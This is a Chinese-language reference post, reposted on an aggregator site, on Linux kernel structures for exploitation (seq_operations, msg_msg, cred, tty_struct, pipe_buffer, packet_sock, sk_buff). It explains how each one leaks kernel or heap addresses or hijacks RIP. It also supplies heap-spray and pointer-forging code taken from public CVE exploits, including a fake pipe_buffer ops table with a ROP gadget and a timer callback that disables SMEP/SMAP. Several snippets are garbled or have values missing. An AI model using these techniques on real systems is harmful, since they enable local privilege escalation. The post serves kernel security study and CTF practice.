一、可用于 Leak/AAR/AAW/RIP劫持的结构体
说明目前缺少kmalloc-8、kmalloc-16、kmalloc-64、kmalloc-512结构体。
1. shm_file_data
size: 0x20 kmalloc-32
内核基址:可泄露。其ns、vm_ops指针可以泄露
heap:可泄露。file指向堆区域
stack:不能泄露
劫持RIP:不能
产生:调用shmat()映射共享内存
释放:shmctl() ??
备注:尝试过重写vm_ops,但是没发现调用fake_vtable函数指针的情况。
struct shm_file_data {
int id; struct ipc_namespace *ns; struct file *file; const struct vm_operations_struct *vm_ops; }; /* 测试输出(对一个含UAF漏洞的test.ko进行测试) 0x0000:0x0000000000000000 0x0008:0xffffffff82292ae0 0x0010:0xffff88800ea09700 0x0018:0xffffffff81e15540 [+] kbase = 0xffffffff [+] kheap = 0xffff88800ea09700 */
讯享网
2. seq_operations
size: 0x20 kmalloc-32
内核基址:4个指针都能泄露出内核基址
heap:不能泄露
stack:不能泄露
劫持RIP:可劫持。修改start,并调用read,将劫持RIP
产生:open("/proc/self/stat", O_RDONLY)
释放:close()
讯享网struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); }; /* 0x0000: 0xffffffff811c5f70 0x0008: 0xffffffff811c5f90 0x0010: 0xffffffff811c5f80 0x0018: 0xffffffff8120c3f0 [+] kbase = 0xffffffff Press enter to continue... [ 6.] BUG: unable to handle kernel paging request at 00000000deadbeef */
3. msg_msg (+user-supplied data)
size: 0x31-0x1000 kmalloc-64以上
内核基址:不能泄露
heap:可泄露。next指向前一个msgsnd消息(SLUB上)
stack:不能泄露
劫持RIP:不能
产生:msgget() + msgsnd()
释放:到msgrcv(),接收顺序同发送顺序,所以kfree的顺序也是传输的顺序
备注:非常方便,因为结构的大小可变,但限制是前48字节是头结构,无法重写。
/* one msg_msg structure for each message */ struct msg_msg {
struct list_head m_list; long m_type; size_t m_ts; /* message text size */ struct msg_msgseg *next; void *security; /* the actual message follows immediately */ }; /* 0x0000: 0xffff88800e1661c0 0x0008: 0xffff88800e1661c0 0x0010: 0x0000000000000001 0x0018: 0x0000000000000020 0x0020: 0x0000000000000000 0x0028: 0xffff88800e8c7f90 0x0030: 0x14141 0x0038: 0x34343 0x0040: 0x54545 0x0048: 0x0000000000000046 [+] kheap = 0xffff88800e1661c0 */
4. subprocess_info
size: 0x60 kmalloc-128
内核基址:可泄露。work.func可能指向call_usermodehelper_exec_work
heap:可泄露。但尚未验证是哪些SLUB
stack:不能泄露。
劫持RIP:可劫持。重写cleanup
产生:socket(22, AF_INET, 0) —— 未知协议
释放:与产生的路径相同
备注:通过竞争来设置info->cleanup,触发执行if (info->cleanup) info->cleanup(info); 劫持RIP的概率很大,但是构造ROP回到用户态后,会死在fs或者syscall。如果禁用SMAP,理论上可以将fd重写到用户态,并结合userfaultfd。
讯享网struct subprocess_info {
struct work_struct work; struct completion *complete; const char *path; char **argv; char **envp; struct file *file; int wait; int retval; pid_t pid; int (*init)(struct subprocess_info *info, struct cred *new); void (*cleanup)(struct subprocess_info *info); void *data; } __randomize_layout; /* 0x0000: 0xffff88800f 0x0008: 0xffff88800f254e88 0x0010: 0xffff88800f254e88 0x0018: 0xffffffff 0x0020: 0x0000000000000000 0x0028: 0xffffffff 0x0030: 0xffff88800e0e3b40 0x0038: 0xffffffff 0x0040: 0x0000000000000000 0x0048: 0x00000 0x0050: 0x0000000000000407 0x0058: 0x0000000000000000 [+] kbase = 0xffffffff [+] kheap = 0xffff88800f Press enter to continue... [ 6.] BUG: unable to handle kernel paging request at 00000000deadbeef */
5.cred
size: 0xa8 kmalloc-192
内核基址:不能泄露。
heap:可泄露。通过session_keyring泄露,但是未验证属于哪种SLUB。
stack:不能泄露
劫持RIP:不能
产生:创建进程
释放:退出创建的进程。
备注:覆盖uid,gid = 0即可提权。
struct cred {
atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; /* number of processes subscribed */ void *put_addr; unsigned magic; #define CRED_MAGIC 0x #define CRED_MAGIC_DEAD 0x #endif kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ kuid_t fsuid; /* UID for VFS ops */ kgid_t fsgid; /* GID for VFS ops */ unsigned securebits; /* SUID-less security management */ kernel_cap_t cap_inheritable; /* caps our children can inherit */ kernel_cap_t cap_permitted; /* caps we're permitted */ kernel_cap_t cap_effective; /* caps we can actually use */ kernel_cap_t cap_bset; /* capability bounding set */ kernel_cap_t cap_ambient; /* Ambient capability set */ #ifdef CONFIG_KEYS unsigned char jit_keyring; /* default keyring to attach requested keys to */ struct key __rcu *session_keyring; /* keyring inherited over fork */ struct key *process_keyring; /* keyring private to this process */ struct key *thread_keyring; /* keyring private to this thread */ struct key *request_key_auth; /* assumed request_key authority */ #endif #ifdef CONFIG_SECURITY void *security; /* subjective LSM security */ #endif struct user_struct *user; /* real user ID subscription */ struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */ struct group_info *group_info; /* supplementary groups for euid/fsgid */ /* RCU deletion */ union {
int non_rcu; /* Can we skip RCU deletion? */ struct rcu_head rcu; /* RCU deletion hook */ }; } __randomize_layout;
6. file
size:kmalloc-256
内核基址:可泄露。f_op指针
heap:未验证。
stack:未验证。
劫持RIP:重写f_op中的shmctl()来控制,但由于UAF后文件结构没有重叠,验证失败。
产生:shmget()创建共享内存。
释放:shmctl()
讯享网struct file {
union {
struct llist_node fu_llist; struct rcu_head fu_rcuhead; } f_u; struct path f_path; struct inode *f_inode; /* cached value */ const struct file_operations *f_op; /* * Protects f_ep_links, f_flags. * Must not be taken from IRQ context. */ spinlock_t f_lock; enum rw_hint f_write_hint; atomic_long_t f_count; unsigned int f_flags; fmode_t f_mode; struct mutex f_pos_lock; loff_t f_pos; struct fown_struct f_owner; const struct cred *f_cred; struct file_ra_state f_ra; u64 f_version; #ifdef CONFIG_SECURITY void *f_security; #endif /* needed for tty driver, and maybe others */ void *private_data; #ifdef CONFIG_EPOLL /* Used by fs/eventpoll.c to link all the hooks to this file */ struct list_head f_ep_links; struct list_head f_tfile_llink; #endif /* #ifdef CONFIG_EPOLL */ struct address_space *f_mapping; errseq_t f_wb_err; } __randomize_layout __attribute__((aligned(4))); /* lest something weird decides that 2 is OK */
7. timerfd_ctx
size:kmalloc-256
内核基址:可泄露。通过tmr.function所指向的timerfd_tmrproc来泄露
heap:可泄露。通过tmr.base
stack:不能泄露。
劫持RIP:不能
产生:timerfd_create()
释放:close()
struct timerfd_ctx {
union {
struct hrtimer tmr; struct alarm alarm; } t; ktime_t tintv; ktime_t moffs; wait_queue_head_t wqh; u64 ticks; int clockid; short unsigned expired; short unsigned settime_flags; /* to show in fdinfo */ struct rcu_head rcu; struct list_head clist; spinlock_t cancel_lock; bool might_cancel; }; struct hrtimer {
struct timerqueue_node node; ktime_t _softexpires; enum hrtimer_restart (*function)(struct hrtimer *); struct hrtimer_clock_base *base; u8 state; u8 is_rel; u8 is_soft; }; /* 0x0000:0xffff88800e 0x0008:0x0000000000000000 0x0010:0x0000000000000000 0x0018:0x000000183ca77938 0x0020:0x000000183ca77938 0x0028:0xffffffff811e7ef0 0x0030:0xffff88800f41ba80 ... [+] kbase = 0xffffffff [+] kbase = 0xffff88800f41ba80 */
8. tty_struct
size:0x2e0 kmalloc-1024
内核基址:可泄露。ops指向的ptm_unix98_ops
heap:可泄露。通过dev和driver,但是未验证属于哪种SLUB。
stack:似乎不能泄露。
劫持RIP:可劫持。重写ops函数表。
产生:open("/dev/ptmx", O_RDWR | O_NOCTTY)
释放:close()
讯享网struct tty_struct {
int magic; struct kref kref; struct device *dev; struct tty_driver *driver; const struct tty_operations *ops; int index; /* Protects ldisc changes: Lock tty not pty */ struct ld_semaphore ldisc_sem; struct tty_ldisc *ldisc; struct mutex atomic_write_lock; struct mutex legacy_mutex; struct mutex throttle_mutex; struct rw_semaphore termios_rwsem; struct mutex winsize_mutex; spinlock_t ctrl_lock; spinlock_t flow_lock; /* Termios values are protected by the termios rwsem */ struct ktermios termios, termios_locked; struct termiox *termiox; /* May be NULL for unsupported */ char name[64]; struct pid *pgrp; /* Protected by ctrl lock */ struct pid *session; unsigned long flags; int count; struct winsize winsize; /* winsize_mutex */ unsigned long stopped:1, /* flow_lock */ flow_stopped:1, unused:BITS_PER_LONG - 2; int hw_stopped; unsigned long ctrl_status:8, /* ctrl_lock */ packet:1, unused_ctrl:BITS_PER_LONG - 9; unsigned int receive_room; /* Bytes free for queue */ int flow_change; struct tty_struct *link; struct fasync_struct *fasync; wait_queue_head_t write_wait; wait_queue_head_t read_wait; struct work_struct hangup_work; void *disc_data; void *driver_data; spinlock_t files_lock; /* protects tty_files list */ struct list_head tty_files; #define N_TTY_BUF_SIZE 4096 int closing; unsigned char *write_buf; int write_cnt; /* If the tty has a pending do_SAK, queue it here - akpm */ struct work_struct SAK_work; struct tty_port *port; } __randomize_layout; /* 0x0000:0x0000000 0x0008:0x0000000000000000 0x0010:0xffff88800f1ed840 0x0018:0xffffffff81e65900 0x0020: 0x0000000000000000 ... [+] kbase = 0xffffffff [+] kheap = 0xffff88800f1ed840 按回车继续... [5.] BUG:无法在 00000000deadbeef 处处理内核分页请求 */
9. pipe_buffer
参考:CVE-2021-22555
size:kmalloc-1024 有 GFP_KERNEL_ACCOUNT 标志。
内核基址:可泄露,ops指针指向anon_pipe_buf_ops函数表。
劫持RIP:pipe_buffer->ops->release
分配链:pipe() -> do_pipe2() -> __do_pipe_flags() -> create_pipe_files() -> get_pipe_inode() -> alloc_pipe_info() —— 分配大小为0x370(默认16个page,16*0x28=0x370)。
触发链:pipe_release() -> put_pipe_info() -> free_pipe_info -> pipe_buf_release() 调用pipe_buffer->ops->release 函数
struct pipe_buffer {
struct page *page; // 读写pipe时, 实际上是读写page地址 unsigned int offset, len; const struct pipe_buf_operations *ops; // <-------- 函数表 unsigned int flags; unsigned long private; }; struct pipe_buf_operations {
int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *); // 确保 pipe buffer 中的数据有效,有效则返回0,无效则返回负值错误码。 void (*release)(struct pipe_inode_info *, struct pipe_buffer *);// <-------- 释放 pipe buffer bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *); bool (*get)(struct pipe_inode_info *, struct pipe_buffer *); };
构造:
讯享网#define NUM_PIPEFDS 256 int pipefd[NUM_PIPEFDS][2]; // spray for (int i = 0; i < NUM_PIPEFDS; i++) {
if (pipe(pipefd[i]) < 0) {
perror("[-] pipe"); goto err_rmid; } // Write something to populate pipe_buffer. if (write(pipefd[i][1], "pwn", 3) < 0) {
perror("[-] write"); goto err_rmid; } } // release, trigger for (int i = 0; i < NUM_PIPEFDS; i++) {
if (close(pipefd[i][0]) < 0) {
perror("[-] close"); goto err_rmid; } if (close(pipefd[i][1]) < 0) {
perror("[-] close"); goto err_rmid; } }
10. packet_socket
参考:CVE-2016-8655 CVE-2017-6074
size:kmalloc-2048 5.11.14版本中大小为0x5c0。
劫持RIP:
packet_sock->rx_ring->prb_bdqc->retire_blk_timer->function。在timeout超时后调用,可传参,可用于执行native_write_cr4(0x406e0)来关闭SMEP/SMAP。packet_socket->xmit。在接收数据时调用。
分配 packet_sock:socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); —— sock(AF_PACKET) -> packet_create -> sk_alloc
分配timer:setsockopt(fd, SOL_PACKET, PACKET_RX_RING, (void*)&tp, sizeof(tp)); —— packet_set_ring()->init_prb_bdqc()->prb_setup_retire_blk_timer()->prb_init_blk_timer()
struct packet_sock {
/* struct sock has to be the first member of packet_sock */ struct sock sk; struct packet_fanout *fanout; union tpacket_stats_u stats; struct packet_ring_buffer rx_ring; // <--------------- rx_ring struct packet_ring_buffer tx_ring; ... ... int (*xmit)(struct sk_buff *skb); struct packet_type prot_hook ____cacheline_aligned_in_smp; }; struct packet_ring_buffer {
struct pgv *pg_vec; ... ... unsigned int pg_vec_order; unsigned int pg_vec_pages; unsigned int pg_vec_len; unsigned int __percpu *pending_refcnt; struct tpacket_kbdq_core prb_bdqc; // <---------------- prb_bdqc }; /* kbdq - kernel block descriptor queue */ struct tpacket_kbdq_core {
struct pgv *pkbdq; ... ... struct sk_buff *skb; // <---------------- skb ... ... unsigned short retire_blk_tov; unsigned short version; unsigned long tov_in_jiffies; struct timer_list retire_blk_timer; // <---------------- retire_blk_timer }; struct timer_list {
struct hlist_node entry; unsigned long expires; void (*function)(unsigned long); // 待伪造的回调函数 unsigned long data; // 参数 u32 flags; #ifdef CONFIG_TIMER_STATS int start_pid; void *start_site; char start_comm[16]; #endif #ifdef CONFIG_LOCKDEP struct lockdep_map lockdep_map; #endif };
构造:来自 CVE-2017-6074
讯享网#define TIMER_OFFSET (744 + 48 + 104) void init_timer_buffer(char* buffer, void *func, unsigned long arg) {
memset(&buffer[0], 0, 2048); struct timer_list* timer = (struct timer_list *)&buffer[TIMER_OFFSET]; timer->next = 0; timer->prev = 0; timer->expires = ; timer->function = func; timer->data = arg; timer->flags = 1; timer->slack = -1; } int timers[6]; int optval = TPACKET_V3; struct tpacket_req3 tp; struct udp_fifo_handle uh3; socketpair(AF_LOCAL, SOCK_DGRAM, 0, uh3->fds); // 创建 timer for (i = 0; i < 6; i++) {
timer[i] = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); setsockopt(timer[i], SOL_PACKET, PACKET_VERSION, &optval, sizeof(optval)); memset(&tp, 0, sizeof(tp)); tp.tp_block_size = CONF_RING_FRAMES * getpagesize(); tp.tp_block_nr = 1; tp.tp_frame_size = getpagesize(); tp.tp_frame_nr = CONF_RING_FRAMES; tp.tp_retire_blk_tov = timeout; // timeout = 500 (0.5s) setsockopt(timer[i], SOL_PACKET, PACKET_RX_RING, (void *)&tp, sizeof(tp)); } // 堆喷伪造timer char buffer[2048]; init_timer_buffer(&buffer[0], func, arg); send(uh3->fds[0], buffer, 1536, 0); // 1536=0x600 sleep(1); // 等待触发
11. sk_buff 线性数据区
参考: CVE-2017-6074
size:2048
劫持RIP:sk_buff -> skb_shared_info -> ubuf_info -> callback 注意skb_shared_info结构的偏移为sk_buff->head+sk_buff->end。
struct sk_buff {
union {
struct {
/* These two members must be first. */ struct sk_buff *next; struct sk_buff *prev; ... ... sk_buff_data_t tail; sk_buff_data_t end; unsigned char *head, *data; // <------------ (head+end) 指向 skb_shared_info 结构 unsigned int truesize; atomic_t users; }; struct skb_shared_info {
unsigned char nr_frags; __u8 tx_flags; unsigned short gso_size; /* Warning: this field is not always filled in (UFO)! */ unsigned short gso_segs; unsigned short gso_type; struct sk_buff *frag_list; struct skb_shared_hwtstamps hwtstamps; u32 tskey; __be32 ip6_frag_id; atomic_t dataref; void * destructor_arg; // <------------ 指向 ubuf_info 结构 skb_frag_t frags[MAX_SKB_FRAGS]; }; struct ubuf_info {
void (*callback)(struct ubuf_info *, bool zerocopy_success); // <------------ 待伪造的回调函数 void *ctx; unsigned long desc; };
分配:sendmsg -> packet_sendmsg() -> packet_snd() -> packet_alloc_skb() -> sock_alloc_send_pskb() -> alloc_skb_with_frags() -> alloc_skb() -> __alloc_skb() 还有很多协议及调用链都会用到skb。
释放链:dccp_close() -> inet_csk_destroy_sock() -> dccp_v6_destroy_sock() -> inet6_destroy_sock() -> kfree_skb() -> __kfree_skb() -> skb_release_all() -> skb_release_data() 执行回调函数skb-> ... ->destructor_arg->callback。
构造:只有CVE-2017-6074漏洞中,由于dccp拥塞控制协议对sk_buff结构进行了double-free,可堆喷劫持。
二、可用于任意数据写入/堆喷的结构
1. msg_msg —— msgsnd()
参考: msgsnd linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用
构造:msgsnd()发送,msgrcv()接收。
讯享网// 只能控制0x30字节以后的内容 struct {
long mtype; char mtext[BUFF_SIZE]; }msg; memset(msg.mtext, 0x42, BUFF_SIZE-1); // 布置用户空间的内容 msg.mtext[BUFF_SIZE] = 0; int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT); msg.mtype = 1; //必须 > 0 // 假设此时已经产生释放对象,但指针未清空 for(int i = 0; i < 120; i++) msgsnd(msqid, &msg, sizeof(msg.mtext), 0); // 触发UAF即可
2. sendmsg()
参考:linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用
size:可选(>=2)
产生:sendmsg,数据放入msg.msg_control指针。
释放:与产生路径相同。
备注:与setxattr相同,可与userfaultfd结合使用。
// 限制: BUFF_SIZE > 44 char buff[BUFF_SIZE]; struct msghdr msg = {
0}; struct sockaddr_in addr = {
0}; int sockfd = socket(AF_INET, SOCK_DGRAM, 0); addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); addr.sin_family = AF_INET; addr.sin_port = htons(6666); // 布置用户空间buff的内容 msg.msg_control = buff; msg.msg_controllen = BUFF_SIZE; msg.msg_name = (caddr_t)&addr; msg.msg_namelen = sizeof(addr); // 假设此时已经产生释放对象,但指针未清空 for(int i = 0; i < ; i++) {
sendmsg(sockfd, &msg, 0); } // 触发UAF即可 // 方法2 int sock[2]; socketpair(AF_LOCAL, SOCK_DGRAM, 0, sock); struct mmsghdr msg[1]; msg[0].msg_hdr.msg_iovlen = 0; // Buffer to kmalloc. msg[0].msg_hdr.msg_control = &buffer[0]; msg[0].msg_hdr.msg_controllen = 2048; // Make sendmmsg exit easy with EINVAL. msg[0].msg_hdr.msg_name = "root"; msg[0].msg_hdr.msg_namelen = 1; syscall(__NR_sendmmsg, sock[0], msg, 1, 0);
3. setxattr
参考:setxattr+userfault堆喷 CVE-2019-15666 xfrm UAF 8字节写NULL提权分析
size:可选(<65536)
产生:setxattr()。
讯享网static long setxattr(struct dentry *d, const char __user *name, const void __user *value, size_t size, int flags) {
int error; void *kvalue = NULL; char kname[XATTR_NAME_MAX + 1]; ... ... if (size) {
if (size > XATTR_SIZE_MAX) return -E2BIG; kvalue = kvmalloc(size, GFP_KERNEL); // [1] 分配空间 if (!kvalue) return -ENOMEM; if (copy_from_user(kvalue, value, size)) {
// [2] 拷贝用户数据 error = -EFAULT; goto out; } if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) || (strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0)) posix_acl_fix_xattr_from_user(kvalue, size); } error = vfs_setxattr(d, kname, kvalue, size, flags); out: kvfree(kvalue); // [3] 释放空间 return error; }
释放:与产生路径相同。
备注:与userfaultfd结合使用。弥补msgsnd前48字节无法覆盖的缺陷。
void *addr; addr = mmap(NULL, 0x1000, 3, 0x22, -1, 0); /* TODO */ setxattr("/etc/passwd", "user.test", addr, 0x400, 1); /* TODO */
4. pipe() —— pipe_buffer
参考:【内核漏洞利用】WCTF 2018 klist—竞争UAF-pipe堆喷 linux kernel pwn学习之条件竞争(一)
write链:write -> ksys_write -> vfs_write -> new_sync_write() -> call_write_iter() -> pipe_write() 将数据写入了pipe_buffer->page中(页=4k),所以不能任意布置数据,参考中用到pipe堆喷是因为pipe_buffer->offset和pipe_buffer->len恰好将改题中结构的第2个8字节—size覆盖很大,导致越界读写。
read链:read -> ksys_read() -> vfs_read() -> new_sync_read() -> call_read_iter() -> pipe_read()
构造:
讯享网 #define SIZE 0x280 char* buf2 = malloc(SIZE); memset(buf2, 'E', SIZE); int fds[2]; pipe(&fds[0]); // 堆喷,把结构中的size域覆盖很大,这样就能任意读写 for(int i = 0; i < 9; i++) write(fds[1], buf2, SIZE);
5. add_key()
参考:CVE-2017-2636
size:<= kmalloc-8192 最大不超过 /proc/sys/kernel/keys/maxbytes 中规定的值,默认为20000。
产生:add_key
SYSCALL_DEFINE5(add_key, const char __user *, _type, const char __user *, _description, const void __user *, _payload, size_t, plen, key_serial_t, ringid) {
key_ref_t keyring_ref, key_ref; char type[32], *description; void *payload; long ret; ... ... // 读取type/description payload = NULL; if (plen) {
ret = -ENOMEM; payload = kvmalloc(plen, GFP_KERNEL); // [1] 分配空间 if (!payload) goto error2; ret = -EFAULT; if (copy_from_user(payload, _payload, plen) != 0) // [2] 拷贝用户数据 goto error3; } ... ... error: return ret; }
构造:
讯享网// 方法1 void spray_addkey(int count) {
int i; char payload[BUF_SIZE]; char desc[256]; memset(payload, 0x42, BUF_SIZE); for(i=0; i<count; i++) {
sprintf(desc, "payload%d", i); add_key_arr[i] = _add_key("user", desc, payload, 0x300, KEY_SPEC_PROCESS_KEYRING); } } // 方法2 #include <linux/keyctl.h> #define PAYLOAD_SZ 8100 k[0] = syscall(__NR_add_key, "user", "payload1", payload, PAYLOAD_SZ, KEY_SPEC_PROCESS_KEYRING); k[1] = syscall(__NR_add_key, "user", "payload2", payload, PAYLOAD_SZ, KEY_SPEC_PROCESS_KEYRING);
6. sk_buff
参考:喷射参考CVE-2021-22555,介绍参考CVE-2017-6074。
size:0x280 不包含头信息,可喷射前面的字节,如喷射伪造pipe_buffer->ops。
创建链:write -> ksys_write() -> vfs_write() -> new_sync_write() -> call_write_iter() -> sock_write_iter() -> sock_sendmsg() -> sock_sendmsg_nosec() -> unix_stream_sendmsg() -> sock_alloc_send_pskb() -> alloc_skb_with_frags() -> alloc_skb() -> __alloc_skb()
read链:read -> ksys_read() -> vfs_read() -> new_sync_read() -> call_read_iter() -> sock_read_iter() -> sock_recvmsg() -> sock_recvmsg_nosec() -> unix_stream_recvmsg() -> unix_stream_read_generic() -> unix_stream_read_actor() -> skb_copy_datagram_msg() -> skb_copy_datagram_iter() -> __skb_datagram_iter()
write链: write -> ksys_write() -> vfs_write() -> new_sync_write() -> call_write_iter() -> sock_write_iter() -> sock_sendmsg() -> sock_sendmsg_nosec() -> unix_stream_sendmsg() -> skb_copy_datagram_from_iter()
static ssize_t sock_write_iter(struct kiocb *iocb, struct iov_iter *from) {
struct file *file = iocb->ki_filp; struct socket *sock = file->private_data; struct msghdr msg = {
.msg_iter = *from, // 组装msg结构, 最开始是调用write进行堆喷的,所以没有传入msghdr结构(同sendmsg堆喷时传入的结构一样) .msg_iocb = iocb}; ssize_t res; if (iocb->ki_pos != 0) return -ESPIPE; if (file->f_flags & O_NONBLOCK || (iocb->ki_flags & IOCB_NOWAIT)) msg.msg_flags = MSG_DONTWAIT; if (sock->type == SOCK_SEQPACKET) msg.msg_flags |= MSG_EOR; res = sock_sendmsg(sock, &msg); // *from = msg.msg_iter; return res; } int skb_copy_datagram_from_iter(struct sk_buff *skb, int offset, struct iov_iter *from, int len) {
int start = skb_headlen(skb); // skb->len - skb->data_len; int i, copy = start - offset; // copy 是线性数据区的剩余空间大小 struct sk_buff *frag_iter; // [1] 拷贝到线性数据区 skb->data if (copy > 0) {
if (copy > len) copy = len; if (copy_from_iter(skb->data + offset, copy, from) != copy) goto fault; if ((len -= copy) == 0) return 0; offset += copy; } // [2] 拷贝到非线性数据区 skb->frags for (i = 0; i < skb_shinfo(skb)->nr_frags; i++) {
int end; const skb_frag_t *frag = &skb_shinfo(skb)->frags[i]; WARN_ON(start > offset + len); end = start + skb_frag_size(frag); if ((copy = end - offset) > 0) {
size_t copied; if (copy > len) copy = len; copied = copy_page_from_iter(skb_frag_page(frag), skb_frag_off(frag) + offset - start, copy, from); if (copied != copy) goto fault; if (!(len -= copy)) return 0; offset += copy; } start = end; } // [3] 拷贝到非线性数据区 skb->fraglist skb_walk_frags(skb, frag_iter) {
// for (iter = skb_shinfo(skb)->frag_list; iter; iter = iter->next) int end; WARN_ON(start > offset + len); end = start + frag_iter->len; if ((copy = end - offset) > 0) {
if (copy > len) copy = len; if (skb_copy_datagram_from_iter(frag_iter, offset - start, from, copy)) goto fault; if ((len -= copy) == 0) return 0; offset += copy; } start = end; } if (!len) return 0; ... ... } EXPORT_SYMBOL(skb_copy_datagram_from_iter);
构造:
讯享网#define SKB_SHARED_INFO_SIZE 0x140 #define NUM_SOCKETS 4 #define NUM_SKBUFFS 128 int ss[NUM_SOCKETS][2]; char buf[0x400 - SKB_SHARED_INFO_SIZE]; for (int i = 0; i < NUM_SOCKETS; i++) socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]); struct pipe_buffer *p_buf = (struct pipe_buffer *)&buf; // 伪造 pipe_buffer->ops p_buf->ops = kheap_addr + 0x290; struct pipe_buf_operations *ops = (struct pipe_buf_operations *)&buf[0x290]; ops->release = kbase_addr + PUSH_RSI_JMP_QWORD_PTR_RSI_39; for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (write(ss[i][0], buf, 0x400-0x140) < 0) {
perror("[-] write"); return -1; } } } // 读取skb内容 for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (read(ss[i][1], buf, sizeof(buf)) < 0) {
perror("[-] read"); goto err_rmid; } if (*(uint64_t *)&buf[0x10] != MTYPE_FAKE) pipe_buffer_ops = *(uint64_t *)&buf[0x10]; // 泄露 pipe_buffer->ops —— 内核基址 } } // 释放skb for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (read(ss[i][1], buf, 0x400-0x140) < 0) {
perror("[-] read"); return -1; } } }
参考:
Kernel Exploit 用到的结构体
https://ptr-yudai.hatenablog.com/entry/2020/03/16/ 实验环境下载

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/130216.html